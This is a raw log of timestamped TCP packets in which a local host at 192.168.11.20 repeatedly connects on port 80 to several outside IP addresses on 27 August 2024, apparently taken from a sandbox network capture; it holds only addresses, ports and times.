Aug 27, 2024 08:01:11.059779882 CEST	49888	80	192.168.11.20	176.57.64.102
Aug 27, 2024 08:01:11.059952974 CEST	49888	80	192.168.11.20	176.57.64.102
Aug 27, 2024 08:01:11.060614109 CEST	80	49888	176.57.64.102	192.168.11.20
Aug 27, 2024 08:01:11.187057018 CEST	80	49888	176.57.64.102	192.168.11.20
Aug 27, 2024 08:01:11.188043118 CEST	80	49888	176.57.64.102	192.168.11.20
Aug 27, 2024 08:01:11.188940048 CEST	80	49888	176.57.64.102	192.168.11.20
Aug 27, 2024 08:01:11.419682980 CEST	80	49888	176.57.64.102	192.168.11.20
Aug 27, 2024 08:01:11.419697046 CEST	80	49888	176.57.64.102	192.168.11.20
Aug 27, 2024 08:01:11.419857979 CEST	49888	80	192.168.11.20	176.57.64.102
Aug 27, 2024 08:01:12.303828001 CEST	49888	80	192.168.11.20	176.57.64.102
Aug 27, 2024 08:01:13.321146011 CEST	49889	80	192.168.11.20	176.57.64.102
Aug 27, 2024 08:01:13.448893070 CEST	80	49889	176.57.64.102	192.168.11.20
Aug 27, 2024 08:01:13.449049950 CEST	49889	80	192.168.11.20	176.57.64.102
Aug 27, 2024 08:01:13.454077005 CEST	49889	80	192.168.11.20	176.57.64.102
Aug 27, 2024 08:01:13.582997084 CEST	80	49889	176.57.64.102	192.168.11.20
Aug 27, 2024 08:01:13.839389086 CEST	80	49889	176.57.64.102	192.168.11.20
Aug 27, 2024 08:01:13.839402914 CEST	80	49889	176.57.64.102	192.168.11.20
Aug 27, 2024 08:01:13.839744091 CEST	49889	80	192.168.11.20	176.57.64.102
Aug 27, 2024 08:01:13.841541052 CEST	49889	80	192.168.11.20	176.57.64.102
Aug 27, 2024 08:01:13.969599009 CEST	80	49889	176.57.64.102	192.168.11.20
Aug 27, 2024 08:01:18.957633018 CEST	49890	80	192.168.11.20	76.223.54.146
Aug 27, 2024 08:01:19.061208963 CEST	80	49890	76.223.54.146	192.168.11.20
Aug 27, 2024 08:01:19.061459064 CEST	49890	80	192.168.11.20	76.223.54.146
Aug 27, 2024 08:01:19.069380045 CEST	49890	80	192.168.11.20	76.223.54.146
Aug 27, 2024 08:01:19.171917915 CEST	80	49890	76.223.54.146	192.168.11.20
Aug 27, 2024 08:01:19.172632933 CEST	80	49890	76.223.54.146	192.168.11.20
Aug 27, 2024 08:01:19.172925949 CEST	49890	80	192.168.11.20	76.223.54.146
Aug 27, 2024 08:01:20.583249092 CEST	49890	80	192.168.11.20	76.223.54.146
Aug 27, 2024 08:01:20.685673952 CEST	80	49890	76.223.54.146	192.168.11.20
Aug 27, 2024 08:01:21.600884914 CEST	49891	80	192.168.11.20	76.223.54.146
Aug 27, 2024 08:01:21.703855038 CEST	80	49891	76.223.54.146	192.168.11.20
Aug 27, 2024 08:01:21.704090118 CEST	49891	80	192.168.11.20	76.223.54.146
Aug 27, 2024 08:01:21.711556911 CEST	49891	80	192.168.11.20	76.223.54.146
Aug 27, 2024 08:01:21.814892054 CEST	80	49891	76.223.54.146	192.168.11.20
Aug 27, 2024 08:01:21.816194057 CEST	80	49891	76.223.54.146	192.168.11.20
Aug 27, 2024 08:01:24.240643024 CEST	49892	80	192.168.11.20	76.223.54.146
Aug 27, 2024 08:01:24.345504045 CEST	80	49892	76.223.54.146	192.168.11.20
Aug 27, 2024 08:01:24.345688105 CEST	49892	80	192.168.11.20	76.223.54.146
Aug 27, 2024 08:01:24.354347944 CEST	49892	80	192.168.11.20	76.223.54.146
Aug 27, 2024 08:01:24.354366064 CEST	49892	80	192.168.11.20	76.223.54.146
Aug 27, 2024 08:01:24.354417086 CEST	49892	80	192.168.11.20	76.223.54.146
Aug 27, 2024 08:01:24.457849026 CEST	80	49892	76.223.54.146	192.168.11.20
Aug 27, 2024 08:01:24.458065033 CEST	49892	80	192.168.11.20	76.223.54.146
Aug 27, 2024 08:01:24.458277941 CEST	80	49892	76.223.54.146	192.168.11.20
Aug 27, 2024 08:01:24.458395004 CEST	80	49892	76.223.54.146	192.168.11.20
Aug 27, 2024 08:01:24.458405972 CEST	80	49892	76.223.54.146	192.168.11.20
Aug 27, 2024 08:01:24.458420038 CEST	49892	80	192.168.11.20	76.223.54.146
Aug 27, 2024 08:01:24.458621979 CEST	49892	80	192.168.11.20	76.223.54.146
Aug 27, 2024 08:01:24.458758116 CEST	49892	80	192.168.11.20	76.223.54.146
Aug 27, 2024 08:01:24.460119963 CEST	80	49892	76.223.54.146	192.168.11.20
Aug 27, 2024 08:01:24.561737061 CEST	80	49892	76.223.54.146	192.168.11.20
Aug 27, 2024 08:01:24.561836004 CEST	80	49892	76.223.54.146	192.168.11.20
Aug 27, 2024 08:01:24.561968088 CEST	80	49892	76.223.54.146	192.168.11.20
Aug 27, 2024 08:01:24.561979055 CEST	80	49892	76.223.54.146	192.168.11.20
Aug 27, 2024 08:01:24.562088013 CEST	80	49892	76.223.54.146	192.168.11.20
Aug 27, 2024 08:01:24.562340021 CEST	80	49892	76.223.54.146	192.168.11.20
Aug 27, 2024 08:01:24.562350988 CEST	80	49892	76.223.54.146	192.168.11.20
Aug 27, 2024 08:01:24.562458992 CEST	80	49892	76.223.54.146	192.168.11.20
Aug 27, 2024 08:01:24.562586069 CEST	80	49892	76.223.54.146	192.168.11.20
Aug 27, 2024 08:01:24.562863111 CEST	80	49892	76.223.54.146	192.168.11.20
Aug 27, 2024 08:01:24.562874079 CEST	80	49892	76.223.54.146	192.168.11.20
Aug 27, 2024 08:01:24.562989950 CEST	80	49892	76.223.54.146	192.168.11.20
Aug 27, 2024 08:01:24.563000917 CEST	80	49892	76.223.54.146	192.168.11.20
Aug 27, 2024 08:01:24.563072920 CEST	80	49892	76.223.54.146	192.168.11.20
Aug 27, 2024 08:01:24.563081026 CEST	80	49892	76.223.54.146	192.168.11.20
Aug 27, 2024 08:01:24.563194990 CEST	80	49892	76.223.54.146	192.168.11.20
Aug 27, 2024 08:01:26.880743980 CEST	49893	80	192.168.11.20	76.223.54.146
Aug 27, 2024 08:01:26.987397909 CEST	80	49893	76.223.54.146	192.168.11.20
Aug 27, 2024 08:01:26.987893105 CEST	49893	80	192.168.11.20	76.223.54.146
Aug 27, 2024 08:01:26.993096113 CEST	49893	80	192.168.11.20	76.223.54.146
Aug 27, 2024 08:01:27.095834017 CEST	80	49893	76.223.54.146	192.168.11.20
Aug 27, 2024 08:01:27.097039938 CEST	80	49893	76.223.54.146	192.168.11.20
Aug 27, 2024 08:01:27.097138882 CEST	80	49893	76.223.54.146	192.168.11.20
Aug 27, 2024 08:01:27.097400904 CEST	49893	80	192.168.11.20	76.223.54.146
Aug 27, 2024 08:01:27.099150896 CEST	49893	80	192.168.11.20	76.223.54.146
Aug 27, 2024 08:01:27.201657057 CEST	80	49893	76.223.54.146	192.168.11.20
Aug 27, 2024 08:03:07.665158987 CEST	49895	80	192.168.11.20	199.59.243.226
Aug 27, 2024 08:03:07.765722990 CEST	80	49895	199.59.243.226	192.168.11.20
Aug 27, 2024 08:03:07.765836000 CEST	49895	80	192.168.11.20	199.59.243.226
Aug 27, 2024 08:03:07.770872116 CEST	49895	80	192.168.11.20	199.59.243.226
Aug 27, 2024 08:03:07.871618032 CEST	80	49895	199.59.243.226	192.168.11.20
Aug 27, 2024 08:03:07.873545885 CEST	80	49895	199.59.243.226	192.168.11.20
Aug 27, 2024 08:03:07.873616934 CEST	80	49895	199.59.243.226	192.168.11.20
Aug 27, 2024 08:03:07.873673916 CEST	80	49895	199.59.243.226	192.168.11.20
Aug 27, 2024 08:03:07.873897076 CEST	49895	80	192.168.11.20	199.59.243.226
Aug 27, 2024 08:03:07.873898029 CEST	49895	80	192.168.11.20	199.59.243.226
Aug 27, 2024 08:03:07.875678062 CEST	49895	80	192.168.11.20	199.59.243.226
Aug 27, 2024 08:03:07.878917933 CEST	80	49895	199.59.243.226	192.168.11.20
Aug 27, 2024 08:03:07.879072905 CEST	49895	80	192.168.11.20	199.59.243.226
Aug 27, 2024 08:03:07.976242065 CEST	80	49895	199.59.243.226	192.168.11.20
Aug 27, 2024 08:03:12.889123917 CEST	49896	80	192.168.11.20	103.247.8.53
Aug 27, 2024 08:03:13.233875036 CEST	80	49896	103.247.8.53	192.168.11.20
Aug 27, 2024 08:03:13.234117031 CEST	49896	80	192.168.11.20	103.247.8.53
Aug 27, 2024 08:03:13.241627932 CEST	49896	80	192.168.11.20	103.247.8.53
Aug 27, 2024 08:03:13.586087942 CEST	80	49896	103.247.8.53	192.168.11.20
Aug 27, 2024 08:03:13.760560989 CEST	80	49896	103.247.8.53	192.168.11.20
Aug 27, 2024 08:03:13.760643005 CEST	80	49896	103.247.8.53	192.168.11.20
Aug 27, 2024 08:03:13.760761023 CEST	80	49896	103.247.8.53	192.168.11.20
Aug 27, 2024 08:03:13.760814905 CEST	80	49896	103.247.8.53	192.168.11.20
Aug 27, 2024 08:03:13.760881901 CEST	49896	80	192.168.11.20	103.247.8.53
Aug 27, 2024 08:03:13.760885954 CEST	80	49896	103.247.8.53	192.168.11.20
Aug 27, 2024 08:03:13.761003017 CEST	80	49896	103.247.8.53	192.168.11.20
Aug 27, 2024 08:03:13.761055946 CEST	80	49896	103.247.8.53	192.168.11.20
Aug 27, 2024 08:03:13.761121035 CEST	49896	80	192.168.11.20	103.247.8.53
Aug 27, 2024 08:03:13.761137009 CEST	80	49896	103.247.8.53	192.168.11.20
Aug 27, 2024 08:03:13.761197090 CEST	49896	80	192.168.11.20	103.247.8.53
Aug 27, 2024 08:03:13.761305094 CEST	80	49896	103.247.8.53	192.168.11.20
Aug 27, 2024 08:03:13.761333942 CEST	49896	80	192.168.11.20	103.247.8.53
Aug 27, 2024 08:03:13.761390924 CEST	80	49896	103.247.8.53	192.168.11.20
Aug 27, 2024 08:03:13.761403084 CEST	80	49896	103.247.8.53	192.168.11.20
Aug 27, 2024 08:03:13.761559010 CEST	49896	80	192.168.11.20	103.247.8.53
Aug 27, 2024 08:03:14.746059895 CEST	49896	80	192.168.11.20	103.247.8.53
Aug 27, 2024 08:03:15.763451099 CEST	49897	80	192.168.11.20	103.247.8.53
Aug 27, 2024 08:03:16.112035036 CEST	80	49897	103.247.8.53	192.168.11.20
Aug 27, 2024 08:03:16.112158060 CEST	49897	80	192.168.11.20	103.247.8.53
Aug 27, 2024 08:03:16.119672060 CEST	49897	80	192.168.11.20	103.247.8.53
Aug 27, 2024 08:03:16.468947887 CEST	80	49897	103.247.8.53	192.168.11.20
Aug 27, 2024 08:03:16.639406919 CEST	80	49897	103.247.8.53	192.168.11.20
Aug 27, 2024 08:03:16.639492035 CEST	80	49897	103.247.8.53	192.168.11.20
Aug 27, 2024 08:03:16.639543056 CEST	80	49897	103.247.8.53	192.168.11.20
Aug 27, 2024 08:03:16.639616013 CEST	80	49897	103.247.8.53	192.168.11.20
Aug 27, 2024 08:03:16.639679909 CEST	49897	80	192.168.11.20	103.247.8.53
Aug 27, 2024 08:03:16.639820099 CEST	49897	80	192.168.11.20	103.247.8.53
Aug 27, 2024 08:03:16.639930964 CEST	80	49897	103.247.8.53	192.168.11.20
Aug 27, 2024 08:03:16.640007019 CEST	80	49897	103.247.8.53	192.168.11.20
Aug 27, 2024 08:03:16.640063047 CEST	80	49897	103.247.8.53	192.168.11.20
Aug 27, 2024 08:03:16.640127897 CEST	80	49897	103.247.8.53	192.168.11.20
Aug 27, 2024 08:03:16.640208006 CEST	49897	80	192.168.11.20	103.247.8.53
Aug 27, 2024 08:03:16.640213966 CEST	80	49897	103.247.8.53	192.168.11.20
Aug 27, 2024 08:03:16.640270948 CEST	80	49897	103.247.8.53	192.168.11.20
Aug 27, 2024 08:03:16.640280962 CEST	80	49897	103.247.8.53	192.168.11.20
Aug 27, 2024 08:03:16.640311003 CEST	49897	80	192.168.11.20	103.247.8.53
Aug 27, 2024 08:03:16.640445948 CEST	49897	80	192.168.11.20	103.247.8.53
Aug 27, 2024 08:03:17.620485067 CEST	49897	80	192.168.11.20	103.247.8.53
Aug 27, 2024 08:03:18.637907028 CEST	49898	80	192.168.11.20	103.247.8.53
Aug 27, 2024 08:03:18.986723900 CEST	80	49898	103.247.8.53	192.168.11.20
Aug 27, 2024 08:03:18.986931086 CEST	49898	80	192.168.11.20	103.247.8.53
Aug 27, 2024 08:03:18.996213913 CEST	49898	80	192.168.11.20	103.247.8.53
Aug 27, 2024 08:03:18.996284008 CEST	49898	80	192.168.11.20	103.247.8.53
Aug 27, 2024 08:03:18.996309042 CEST	49898	80	192.168.11.20	103.247.8.53
Aug 27, 2024 08:03:19.345444918 CEST	80	49898	103.247.8.53	192.168.11.20
Aug 27, 2024 08:03:19.345510006 CEST	80	49898	103.247.8.53	192.168.11.20
Aug 27, 2024 08:03:19.345629930 CEST	80	49898	103.247.8.53	192.168.11.20
Aug 27, 2024 08:03:19.345694065 CEST	49898	80	192.168.11.20	103.247.8.53
Aug 27, 2024 08:03:19.345861912 CEST	49898	80	192.168.11.20	103.247.8.53
Aug 27, 2024 08:03:19.346015930 CEST	49898	80	192.168.11.20	103.247.8.53
Aug 27, 2024 08:03:19.352514029 CEST	80	49898	103.247.8.53	192.168.11.20
Aug 27, 2024 08:03:19.353318930 CEST	80	49898	103.247.8.53	192.168.11.20
Aug 27, 2024 08:03:19.354033947 CEST	80	49898	103.247.8.53	192.168.11.20
Aug 27, 2024 08:03:19.694529057 CEST	80	49898	103.247.8.53	192.168.11.20
Aug 27, 2024 08:03:19.694602013 CEST	80	49898	103.247.8.53	192.168.11.20
Aug 27, 2024 08:03:19.694675922 CEST	80	49898	103.247.8.53	192.168.11.20
Aug 27, 2024 08:03:19.694722891 CEST	80	49898	103.247.8.53	192.168.11.20
Aug 27, 2024 08:03:19.694830894 CEST	80	49898	103.247.8.53	192.168.11.20
Aug 27, 2024 08:03:19.694839001 CEST	49898	80	192.168.11.20	103.247.8.53
Aug 27, 2024 08:03:19.694982052 CEST	80	49898	103.247.8.53	192.168.11.20
Aug 27, 2024 08:03:19.695019960 CEST	49898	80	192.168.11.20	103.247.8.53
Aug 27, 2024 08:03:19.695067883 CEST	80	49898	103.247.8.53	192.168.11.20
Aug 27, 2024 08:03:19.695128918 CEST	49898	80	192.168.11.20	103.247.8.53
Aug 27, 2024 08:03:19.695276022 CEST	80	49898	103.247.8.53	192.168.11.20
Aug 27, 2024 08:03:19.695472956 CEST	80	49898	103.247.8.53	192.168.11.20
Aug 27, 2024 08:03:20.043695927 CEST	80	49898	103.247.8.53	192.168.11.20
Aug 27, 2024 08:03:20.043770075 CEST	80	49898	103.247.8.53	192.168.11.20
Aug 27, 2024 08:03:20.043894053 CEST	80	49898	103.247.8.53	192.168.11.20
Aug 27, 2024 08:03:20.044015884 CEST	80	49898	103.247.8.53	192.168.11.20
Aug 27, 2024 08:03:20.044178009 CEST	80	49898	103.247.8.53	192.168.11.20
Aug 27, 2024 08:03:20.044322014 CEST	80	49898	103.247.8.53	192.168.11.20
Aug 27, 2024 08:03:20.044497013 CEST	80	49898	103.247.8.53	192.168.11.20
Aug 27, 2024 08:03:20.251723051 CEST	80	49898	103.247.8.53	192.168.11.20
Aug 27, 2024 08:03:20.251852989 CEST	80	49898	103.247.8.53	192.168.11.20
Aug 27, 2024 08:03:20.251940966 CEST	80	49898	103.247.8.53	192.168.11.20
Aug 27, 2024 08:03:20.252027035 CEST	80	49898	103.247.8.53	192.168.11.20
Aug 27, 2024 08:03:20.252069950 CEST	49898	80	192.168.11.20	103.247.8.53
Aug 27, 2024 08:03:20.252085924 CEST	80	49898	103.247.8.53	192.168.11.20
Aug 27, 2024 08:03:20.252166986 CEST	80	49898	103.247.8.53	192.168.11.20
Aug 27, 2024 08:03:20.252188921 CEST	49898	80	192.168.11.20	103.247.8.53
Aug 27, 2024 08:03:20.252311945 CEST	80	49898	103.247.8.53	192.168.11.20
Aug 27, 2024 08:03:20.252373934 CEST	80	49898	103.247.8.53	192.168.11.20
Aug 27, 2024 08:03:20.252424955 CEST	49898	80	192.168.11.20	103.247.8.53
Aug 27, 2024 08:03:20.252434015 CEST	80	49898	103.247.8.53	192.168.11.20
Aug 27, 2024 08:03:20.252516985 CEST	80	49898	103.247.8.53	192.168.11.20
Aug 27, 2024 08:03:20.252572060 CEST	80	49898	103.247.8.53	192.168.11.20
Aug 27, 2024 08:03:20.252594948 CEST	49898	80	192.168.11.20	103.247.8.53
Aug 27, 2024 08:03:20.252700090 CEST	49898	80	192.168.11.20	103.247.8.53
Aug 27, 2024 08:03:20.510462046 CEST	49898	80	192.168.11.20	103.247.8.53
Aug 27, 2024 08:03:21.527838945 CEST	49899	80	192.168.11.20	103.247.8.53
Aug 27, 2024 08:03:21.872422934 CEST	80	49899	103.247.8.53	192.168.11.20
Aug 27, 2024 08:03:21.872639894 CEST	49899	80	192.168.11.20	103.247.8.53
Aug 27, 2024 08:03:21.877654076 CEST	49899	80	192.168.11.20	103.247.8.53
Aug 27, 2024 08:03:22.222091913 CEST	80	49899	103.247.8.53	192.168.11.20
Aug 27, 2024 08:03:22.332128048 CEST	80	49899	103.247.8.53	192.168.11.20
Aug 27, 2024 08:03:22.332484007 CEST	80	49899	103.247.8.53	192.168.11.20
Aug 27, 2024 08:03:22.332695007 CEST	49899	80	192.168.11.20	103.247.8.53
Aug 27, 2024 08:03:22.334242105 CEST	49899	80	192.168.11.20	103.247.8.53
Aug 27, 2024 08:03:22.678725958 CEST	80	49899	103.247.8.53	192.168.11.20
Aug 27, 2024 08:03:35.493602037 CEST	49900	80	192.168.11.20	96.126.123.244
Aug 27, 2024 08:03:35.626125097 CEST	80	49900	96.126.123.244	192.168.11.20
Aug 27, 2024 08:03:35.626305103 CEST	49900	80	192.168.11.20	96.126.123.244
Aug 27, 2024 08:03:35.633765936 CEST	49900	80	192.168.11.20	96.126.123.244
Aug 27, 2024 08:03:35.768976927 CEST	80	49900	96.126.123.244	192.168.11.20
Aug 27, 2024 08:03:35.768989086 CEST	80	49900	96.126.123.244	192.168.11.20
Aug 27, 2024 08:03:35.769154072 CEST	49900	80	192.168.11.20	96.126.123.244
Aug 27, 2024 08:03:37.147481918 CEST	49900	80	192.168.11.20	96.126.123.244
Aug 27, 2024 08:03:38.164882898 CEST	49901	80	192.168.11.20	96.126.123.244
Aug 27, 2024 08:03:38.297841072 CEST	80	49901	96.126.123.244	192.168.11.20
Aug 27, 2024 08:03:38.298079014 CEST	49901	80	192.168.11.20	96.126.123.244
Aug 27, 2024 08:03:38.305671930 CEST	49901	80	192.168.11.20	96.126.123.244
Aug 27, 2024 08:03:38.441900969 CEST	80	49901	96.126.123.244	192.168.11.20
Aug 27, 2024 08:03:38.441915035 CEST	80	49901	96.126.123.244	192.168.11.20
Aug 27, 2024 08:03:38.442061901 CEST	49901	80	192.168.11.20	96.126.123.244
Aug 27, 2024 08:03:39.818794012 CEST	49901	80	192.168.11.20	96.126.123.244
Aug 27, 2024 08:03:40.839994907 CEST	49902	80	192.168.11.20	96.126.123.244
Aug 27, 2024 08:03:40.972321033 CEST	80	49902	96.126.123.244	192.168.11.20
Aug 27, 2024 08:03:40.972489119 CEST	49902	80	192.168.11.20	96.126.123.244
Aug 27, 2024 08:03:40.983166933 CEST	49902	80	192.168.11.20	96.126.123.244
Aug 27, 2024 08:03:40.983187914 CEST	49902	80	192.168.11.20	96.126.123.244
Aug 27, 2024 08:03:40.983236074 CEST	49902	80	192.168.11.20	96.126.123.244
Aug 27, 2024 08:03:41.115698099 CEST	80	49902	96.126.123.244	192.168.11.20
Aug 27, 2024 08:03:41.115789890 CEST	80	49902	96.126.123.244	192.168.11.20
Aug 27, 2024 08:03:41.115801096 CEST	80	49902	96.126.123.244	192.168.11.20
Aug 27, 2024 08:03:41.115881920 CEST	49902	80	192.168.11.20	96.126.123.244
Aug 27, 2024 08:03:41.115895987 CEST	80	49902	96.126.123.244	192.168.11.20
Aug 27, 2024 08:03:41.115909100 CEST	80	49902	96.126.123.244	192.168.11.20
Aug 27, 2024 08:03:41.116055012 CEST	80	49902	96.126.123.244	192.168.11.20
Aug 27, 2024 08:03:41.116055012 CEST	49902	80	192.168.11.20	96.126.123.244
Aug 27, 2024 08:03:41.116111040 CEST	80	49902	96.126.123.244	192.168.11.20
Aug 27, 2024 08:03:41.116122007 CEST	80	49902	96.126.123.244	192.168.11.20
Aug 27, 2024 08:03:41.116224051 CEST	49902	80	192.168.11.20	96.126.123.244
Aug 27, 2024 08:03:41.116429090 CEST	49902	80	192.168.11.20	96.126.123.244
Aug 27, 2024 08:03:41.117100000 CEST	80	49902	96.126.123.244	192.168.11.20
Aug 27, 2024 08:03:41.162216902 CEST	49902	80	192.168.11.20	96.126.123.244
Aug 27, 2024 08:03:41.248336077 CEST	80	49902	96.126.123.244	192.168.11.20
Aug 27, 2024 08:03:41.248465061 CEST	49902	80	192.168.11.20	96.126.123.244
Aug 27, 2024 08:03:41.248486996 CEST	80	49902	96.126.123.244	192.168.11.20
Aug 27, 2024 08:03:41.248630047 CEST	49902	80	192.168.11.20	96.126.123.244
Aug 27, 2024 08:03:41.248642921 CEST	80	49902	96.126.123.244	192.168.11.20
Aug 27, 2024 08:03:41.248703957 CEST	49902	80	192.168.11.20	96.126.123.244
Aug 27, 2024 08:03:41.248722076 CEST	80	49902	96.126.123.244	192.168.11.20
Aug 27, 2024 08:03:41.248868942 CEST	49902	80	192.168.11.20	96.126.123.244
Aug 27, 2024 08:03:41.248889923 CEST	80	49902	96.126.123.244	192.168.11.20
Aug 27, 2024 08:03:41.248902082 CEST	80	49902	96.126.123.244	192.168.11.20
Aug 27, 2024 08:03:41.248909950 CEST	80	49902	96.126.123.244	192.168.11.20
Aug 27, 2024 08:03:41.248950958 CEST	80	49902	96.126.123.244	192.168.11.20
Aug 27, 2024 08:03:41.248959064 CEST	80	49902	96.126.123.244	192.168.11.20
Aug 27, 2024 08:03:41.249022961 CEST	49902	80	192.168.11.20	96.126.123.244
Aug 27, 2024 08:03:41.249044895 CEST	80	49902	96.126.123.244	192.168.11.20
Aug 27, 2024 08:03:41.249222994 CEST	49902	80	192.168.11.20	96.126.123.244
Aug 27, 2024 08:03:41.381011963 CEST	80	49902	96.126.123.244	192.168.11.20
Aug 27, 2024 08:03:41.381180048 CEST	80	49902	96.126.123.244	192.168.11.20
Aug 27, 2024 08:03:41.381390095 CEST	80	49902	96.126.123.244	192.168.11.20
Aug 27, 2024 08:03:41.381638050 CEST	80	49902	96.126.123.244	192.168.11.20
Aug 27, 2024 08:03:41.381762981 CEST	80	49902	96.126.123.244	192.168.11.20
Aug 27, 2024 08:03:41.381892920 CEST	80	49902	96.126.123.244	192.168.11.20
Aug 27, 2024 08:03:41.382024050 CEST	49902	80	192.168.11.20	96.126.123.244
Aug 27, 2024 08:03:42.490067005 CEST	49902	80	192.168.11.20	96.126.123.244
Aug 27, 2024 08:03:43.507489920 CEST	49903	80	192.168.11.20	96.126.123.244
Aug 27, 2024 08:03:43.640145063 CEST	80	49903	96.126.123.244	192.168.11.20
Aug 27, 2024 08:03:43.640326023 CEST	49903	80	192.168.11.20	96.126.123.244
Aug 27, 2024 08:03:43.647979975 CEST	49903	80	192.168.11.20	96.126.123.244
Aug 27, 2024 08:03:43.782824039 CEST	80	49903	96.126.123.244	192.168.11.20
Aug 27, 2024 08:03:43.782836914 CEST	80	49903	96.126.123.244	192.168.11.20
Aug 27, 2024 08:03:43.782847881 CEST	80	49903	96.126.123.244	192.168.11.20
Aug 27, 2024 08:03:43.783122063 CEST	49903	80	192.168.11.20	96.126.123.244
Aug 27, 2024 08:03:43.785070896 CEST	49903	80	192.168.11.20	96.126.123.244
Aug 27, 2024 08:03:43.917613983 CEST	80	49903	96.126.123.244	192.168.11.20
Aug 27, 2024 08:03:48.787997007 CEST	49904	80	192.168.11.20	23.231.158.3
Aug 27, 2024 08:03:49.097496033 CEST	80	49904	23.231.158.3	192.168.11.20
Aug 27, 2024 08:03:49.097884893 CEST	49904	80	192.168.11.20	23.231.158.3
Aug 27, 2024 08:03:49.107882023 CEST	49904	80	192.168.11.20	23.231.158.3
Aug 27, 2024 08:03:49.418405056 CEST	80	49904	23.231.158.3	192.168.11.20
Aug 27, 2024 08:03:49.518903971 CEST	80	49904	23.231.158.3	192.168.11.20
Aug 27, 2024 08:03:49.519118071 CEST	49904	80	192.168.11.20	23.231.158.3
Aug 27, 2024 08:03:50.613352060 CEST	49904	80	192.168.11.20	23.231.158.3
Aug 27, 2024 08:03:50.922358990 CEST	80	49904	23.231.158.3	192.168.11.20
Aug 27, 2024 08:03:51.630650997 CEST	49905	80	192.168.11.20	23.231.158.3
Aug 27, 2024 08:03:51.934454918 CEST	80	49905	23.231.158.3	192.168.11.20
Aug 27, 2024 08:03:51.934616089 CEST	49905	80	192.168.11.20	23.231.158.3
Aug 27, 2024 08:03:51.942110062 CEST	49905	80	192.168.11.20	23.231.158.3
Aug 27, 2024 08:03:52.246617079 CEST	80	49905	23.231.158.3	192.168.11.20
Aug 27, 2024 08:03:52.347112894 CEST	80	49905	23.231.158.3	192.168.11.20
Aug 27, 2024 08:03:52.347239017 CEST	49905	80	192.168.11.20	23.231.158.3
Aug 27, 2024 08:03:53.456412077 CEST	49905	80	192.168.11.20	23.231.158.3
Aug 27, 2024 08:03:53.760426044 CEST	80	49905	23.231.158.3	192.168.11.20
Aug 27, 2024 08:03:54.473866940 CEST	49906	80	192.168.11.20	23.231.158.3
Aug 27, 2024 08:03:54.789068937 CEST	80	49906	23.231.158.3	192.168.11.20
Aug 27, 2024 08:03:54.789263964 CEST	49906	80	192.168.11.20	23.231.158.3
Aug 27, 2024 08:03:54.797867060 CEST	49906	80	192.168.11.20	23.231.158.3
Aug 27, 2024 08:03:54.797938108 CEST	49906	80	192.168.11.20	23.231.158.3
Aug 27, 2024 08:03:54.797962904 CEST	49906	80	192.168.11.20	23.231.158.3
Aug 27, 2024 08:03:55.113465071 CEST	80	49906	23.231.158.3	192.168.11.20
Aug 27, 2024 08:03:55.113523006 CEST	80	49906	23.231.158.3	192.168.11.20
Aug 27, 2024 08:03:55.113560915 CEST	80	49906	23.231.158.3	192.168.11.20
Aug 27, 2024 08:03:55.113825083 CEST	49906	80	192.168.11.20	23.231.158.3
Aug 27, 2024 08:03:55.113900900 CEST	80	49906	23.231.158.3	192.168.11.20
Aug 27, 2024 08:03:55.113953114 CEST	80	49906	23.231.158.3	192.168.11.20
Aug 27, 2024 08:03:55.113998890 CEST	49906	80	192.168.11.20	23.231.158.3
Aug 27, 2024 08:03:55.114097118 CEST	80	49906	23.231.158.3	192.168.11.20
Aug 27, 2024 08:03:55.114346027 CEST	49906	80	192.168.11.20	23.231.158.3
Aug 27, 2024 08:03:55.114515066 CEST	49906	80	192.168.11.20	23.231.158.3
Aug 27, 2024 08:03:55.114631891 CEST	49906	80	192.168.11.20	23.231.158.3
Aug 27, 2024 08:03:55.215004921 CEST	80	49906	23.231.158.3	192.168.11.20
Aug 27, 2024 08:03:55.429156065 CEST	80	49906	23.231.158.3	192.168.11.20
Aug 27, 2024 08:03:55.429346085 CEST	80	49906	23.231.158.3	192.168.11.20
Aug 27, 2024 08:03:55.429569006 CEST	80	49906	23.231.158.3	192.168.11.20
Aug 27, 2024 08:03:55.429811954 CEST	80	49906	23.231.158.3	192.168.11.20
Aug 27, 2024 08:03:55.429909945 CEST	80	49906	23.231.158.3	192.168.11.20
Aug 27, 2024 08:03:55.430231094 CEST	80	49906	23.231.158.3	192.168.11.20
Aug 27, 2024 08:03:55.430927992 CEST	80	49906	23.231.158.3	192.168.11.20
Aug 27, 2024 08:03:55.430960894 CEST	80	49906	23.231.158.3	192.168.11.20
Aug 27, 2024 08:03:57.317099094 CEST	49907	80	192.168.11.20	23.231.158.3
Aug 27, 2024 08:03:57.621285915 CEST	80	49907	23.231.158.3	192.168.11.20
Aug 27, 2024 08:03:57.621527910 CEST	49907	80	192.168.11.20	23.231.158.3
Aug 27, 2024 08:03:57.626565933 CEST	49907	80	192.168.11.20	23.231.158.3
Aug 27, 2024 08:03:57.930495024 CEST	80	49907	23.231.158.3	192.168.11.20
Aug 27, 2024 08:03:58.031068087 CEST	80	49907	23.231.158.3	192.168.11.20
Aug 27, 2024 08:03:58.031251907 CEST	49907	80	192.168.11.20	23.231.158.3
Aug 27, 2024 08:03:58.031826019 CEST	49907	80	192.168.11.20	23.231.158.3
Aug 27, 2024 08:03:58.335601091 CEST	80	49907	23.231.158.3	192.168.11.20
Aug 27, 2024 08:04:03.034519911 CEST	49908	80	192.168.11.20	172.67.191.241
Aug 27, 2024 08:04:03.135297060 CEST	80	49908	172.67.191.241	192.168.11.20
Aug 27, 2024 08:04:03.135570049 CEST	49908	80	192.168.11.20	172.67.191.241
Aug 27, 2024 08:04:03.143290997 CEST	49908	80	192.168.11.20	172.67.191.241
Aug 27, 2024 08:04:03.244043112 CEST	80	49908	172.67.191.241	192.168.11.20
Aug 27, 2024 08:04:03.266074896 CEST	80	49908	172.67.191.241	192.168.11.20
Aug 27, 2024 08:04:03.267035007 CEST	80	49908	172.67.191.241	192.168.11.20
Aug 27, 2024 08:04:03.267187119 CEST	49908	80	192.168.11.20	172.67.191.241
Aug 27, 2024 08:04:04.657145023 CEST	49908	80	192.168.11.20	172.67.191.241
Aug 27, 2024 08:04:05.674508095 CEST	49909	80	192.168.11.20	172.67.191.241
Aug 27, 2024 08:04:05.775229931 CEST	80	49909	172.67.191.241	192.168.11.20
Aug 27, 2024 08:04:05.775366068 CEST	49909	80	192.168.11.20	172.67.191.241
Aug 27, 2024 08:04:05.782881975 CEST	49909	80	192.168.11.20	172.67.191.241
Aug 27, 2024 08:04:05.883577108 CEST	80	49909	172.67.191.241	192.168.11.20
Aug 27, 2024 08:04:05.899171114 CEST	80	49909	172.67.191.241	192.168.11.20
